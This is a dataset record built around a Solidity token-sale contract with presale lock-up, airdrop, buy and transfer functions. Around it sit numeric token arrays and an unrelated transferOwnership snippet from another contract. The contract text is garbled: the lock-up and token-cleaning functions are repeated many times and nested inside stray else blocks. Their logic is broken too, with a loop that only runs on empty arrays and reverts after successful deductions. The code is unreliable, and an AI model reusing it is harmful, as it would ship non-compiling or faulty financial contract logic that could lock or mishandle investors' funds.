mainSaleInvestors[address(this)].sub(totalAmount); } function distributeAirdropMultiPresale(address[] addresses, uint256[] amount, uint256[] blocks) external onlyAgent { require(addresses.length > 0 && addresses.length == amount.length); uint256 totalAmount = 0; for(uint i = 0; i < addresses.length; i++) { require(amount[i] > 0 && addresses[i] != 0x0); uint256 amounts = amount[i].mul(100000000); totalAmount = totalAmount.add(amounts); require(balances[address(this)] >= totalAmount); presaleInvestors[addresses[i]].push(Purchase(amounts, 0, blocks[i])); balances[addresses[i]] = balances[addresses[i]].add(amounts); emit Transfer(address(this), addresses[i], amounts); } balances[address(this)] = balances[address(this)].sub(totalAmount); mainSaleInvestors[address(this)] = mainSaleInvestors[address(this)].sub(totalAmount); } function setDistributeAmount(uint256 _unitAmount) onlyOwner external { distributeAmount = _unitAmount; } function setMulBonus(uint256 _mulbonus) onlyOwner external { mulbonus = _mulbonus; } function setDivBonus(uint256 _divbonus) onlyOwner external { divbonus = _divbonus; } function setNewAgent(address _agent) external onlyOwner { require(agent != address(0)); agent = _agent; } function changeTime(uint256 _time) external onlyOwner { secondsPerBlock = _time; } function transferFund() external onlyOwner { owner.transfer(address(this).balance); } function transferTokens(uint256 amount) external onlyOwner { require(balances[address(this)] > 0); balances[msg.sender] = balances[msg.sender].add(amount.mul(100000000)); balances[address(this)] = balances[address(this)].sub(amount.mul(100000000)); emit Transfer(address(this), msg.sender, balances[address(this)]); mainSaleInvestors[msg.sender] = mainSaleInvestors[msg.sender].add(amount.mul(100000000)); mainSaleInvestors[address(this)] = mainSaleInvestors[address(this)].sub(amount.mul(100000000)); } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function buy(address buyer) payable public { require(msg.value > 10000000000000 && distributeAmount > 0 && balances[address(this)] > distributeAmount); uint256 amount = msg.value.mul(mulbonus).div(divbonus); balances[buyer] = balances[buyer].add(amount); emit Transfer(address(this), buyer, amount); if (presalePart) { presaleInvestors[buyer].push(Purchase(amount, 0, block.number)); } else { mainSaleInvestors[buyer] = mainSaleInvestors[buyer].add(amount); } mainSaleInvestors[address(this)] = mainSaleInvestors[address(this)].sub(amount); balances[address(this)] = balances[address(this)].sub(amount); distributeAmount = distributeAmount.sub(amount); } /** * @dev fallback function */ function() payable public { buy(msg.sender); } }
* @title Basic token @dev Basic version of StandardToken, with no allowances./
contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; struct Purchase { uint256 buyAmount; uint256 transferredAmount; uint256 purchaseBlock; } mapping(address => uint256) balances; mapping(address => Purchase[]) public presaleInvestors; mapping(address => uint256) public mainSaleInvestors; uint256 totalSupply_; uint256 public percentagePerMonth = 10; function _checkLockUp(address senderAdr) public view returns (uint) { uint canTransfer = 0; if (presaleInvestors[senderAdr].length == 0) { canTransfer = 0; canTransfer = 0; for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } uint actAmount = (presaleInvestors[senderAdr][i].buyAmount).mul(months).mul(percentagePerMonth).div(100); uint realAmout = actAmount.sub(presaleInvestors[senderAdr][i].transferredAmount); canTransfer = canTransfer.add(realAmout); break; } } } return canTransfer.add(mainSaleInvestors[senderAdr]); } function _checkLockUp(address senderAdr) public view returns (uint) { uint canTransfer = 0; if (presaleInvestors[senderAdr].length == 0) { canTransfer = 0; canTransfer = 0; for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } uint actAmount = (presaleInvestors[senderAdr][i].buyAmount).mul(months).mul(percentagePerMonth).div(100); uint realAmout = actAmount.sub(presaleInvestors[senderAdr][i].transferredAmount); canTransfer = canTransfer.add(realAmout); break; } } } return canTransfer.add(mainSaleInvestors[senderAdr]); } } else if (presaleInvestors[senderAdr][0].purchaseBlock > block.number.sub(startLockUpSec.div(secondsPerBlock).mul(10))) { } else { function _checkLockUp(address senderAdr) public view returns (uint) { uint canTransfer = 0; if (presaleInvestors[senderAdr].length == 0) { canTransfer = 0; canTransfer = 0; for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } uint actAmount = (presaleInvestors[senderAdr][i].buyAmount).mul(months).mul(percentagePerMonth).div(100); uint realAmout = actAmount.sub(presaleInvestors[senderAdr][i].transferredAmount); canTransfer = canTransfer.add(realAmout); break; } } } return canTransfer.add(mainSaleInvestors[senderAdr]); } function _checkLockUp(address senderAdr) public view returns (uint) { uint canTransfer = 0; if (presaleInvestors[senderAdr].length == 0) { canTransfer = 0; canTransfer = 0; for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } uint actAmount = (presaleInvestors[senderAdr][i].buyAmount).mul(months).mul(percentagePerMonth).div(100); uint realAmout = actAmount.sub(presaleInvestors[senderAdr][i].transferredAmount); canTransfer = canTransfer.add(realAmout); break; } } } return canTransfer.add(mainSaleInvestors[senderAdr]); } function _checkLockUp(address senderAdr) public view returns (uint) { uint canTransfer = 0; if (presaleInvestors[senderAdr].length == 0) { canTransfer = 0; canTransfer = 0; for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } uint actAmount = (presaleInvestors[senderAdr][i].buyAmount).mul(months).mul(percentagePerMonth).div(100); uint realAmout = actAmount.sub(presaleInvestors[senderAdr][i].transferredAmount); canTransfer = canTransfer.add(realAmout); break; } } } return canTransfer.add(mainSaleInvestors[senderAdr]); } } else { function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } } if (currentTokens != 0) { revert(); } } function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } } if (currentTokens != 0) { revert(); } } function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } } if (currentTokens != 0) { revert(); } } function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } } if (currentTokens != 0) { revert(); } } function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } } if (currentTokens != 0) { revert(); } } function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } } if (currentTokens != 0) { revert(); } } function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } } if (currentTokens != 0) { revert(); } } function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } } if (currentTokens != 0) { revert(); } } } else { function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } } if (currentTokens != 0) { revert(); } } } else { } else { function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } } if (currentTokens != 0) { revert(); } } } else { function cleanTokensAmount(address senderAdr, uint256 currentTokens) public returns (bool) { if (presaleInvestors[senderAdr].length != 0) { for (uint i = 0; i < presaleInvestors[senderAdr].length; i++) { if (presaleInvestors[senderAdr][i].transferredAmount == presaleInvestors[senderAdr][i].buyAmount) { continue; } if (presaleInvestors[senderAdr][i].purchaseBlock <= (block.number).sub(startLockUpSec.div(secondsPerBlock).mul(10))) { uint months = (block.number.sub(presaleInvestors[senderAdr][i].purchaseBlock)).div(secondsPerMonth); if (months > 10) { months = 10; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) >= currentTokens) { presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].transferredAmount + currentTokens; currentTokens = 0; } if ((presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount) < currentTokens) { uint remainder = currentTokens - (presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth) - presaleInvestors[senderAdr][i].transferredAmount); presaleInvestors[senderAdr][i].transferredAmount = presaleInvestors[senderAdr][i].buyAmount.div(100).mul(months).mul(percentagePerMonth); currentTokens = remainder; } continue; } } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } if (currentTokens <= mainSaleInvestors[senderAdr]) { mainSaleInvestors[senderAdr] = mainSaleInvestors[senderAdr] - currentTokens; currentTokens = 0; revert(); } } if (currentTokens != 0) { revert(); } } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0); require(_value <= balances[msg.sender]); require(_checkLockUp(msg.sender) >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); cleanTokensAmount(msg.sender, _value); mainSaleInvestors[_to] = mainSaleInvestors[_to].add(_value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } }
2,370,039
[ 1, 8252, 1147, 225, 7651, 1177, 434, 8263, 1345, 16, 598, 1158, 1699, 6872, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7651, 1345, 353, 4232, 39, 3462, 8252, 16, 14223, 6914, 288, 203, 225, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 21281, 225, 1958, 26552, 288, 203, 565, 2254, 5034, 30143, 6275, 31, 203, 565, 2254, 5034, 906, 4193, 6275, 31, 203, 565, 2254, 5034, 23701, 1768, 31, 203, 225, 289, 203, 203, 225, 2874, 12, 2867, 516, 2254, 5034, 13, 324, 26488, 31, 203, 225, 2874, 12, 2867, 516, 26552, 63, 5717, 1071, 4075, 5349, 3605, 395, 1383, 31, 203, 225, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 2774, 30746, 3605, 395, 1383, 31, 203, 21281, 225, 2254, 5034, 2078, 3088, 1283, 67, 31, 203, 225, 2254, 5034, 1071, 11622, 2173, 5445, 273, 1728, 31, 203, 21281, 565, 445, 389, 1893, 2531, 1211, 12, 2867, 5793, 1871, 86, 13, 1071, 1476, 1135, 261, 11890, 13, 288, 203, 3639, 2254, 848, 5912, 273, 374, 31, 203, 3639, 309, 261, 12202, 5349, 3605, 395, 1383, 63, 15330, 1871, 86, 8009, 2469, 422, 374, 13, 288, 203, 5411, 848, 5912, 273, 374, 31, 203, 5411, 848, 5912, 273, 374, 31, 203, 5411, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 4075, 5349, 3605, 395, 1383, 63, 15330, 1871, 86, 8009, 2469, 31, 277, 27245, 288, 203, 7734, 309, 261, 12202, 5349, 3605, 395, 1383, 63, 15330, 1871, 86, 6362, 77, 8009, 12688, 12104, 1768, 1648, 261, 2629, 18, 2696, 2934, 1717, 12, 1937, 2531, 1211, 2194, 18, 2892, 12, 7572, 2173, 1768, 2934, 16411, 12, 2163, 20349, 288, 203, 10792, 2254, 8846, 273, 2 ]
./full_match/43114/0x266b09f6f69185Fe4B54A59c8DE8e9FD21c0f9F8/sources/contracts/AvaxMini.sol
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized/
function transferOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); event Authorized(address adr); event Unauthorized(address adr);
4,500,170
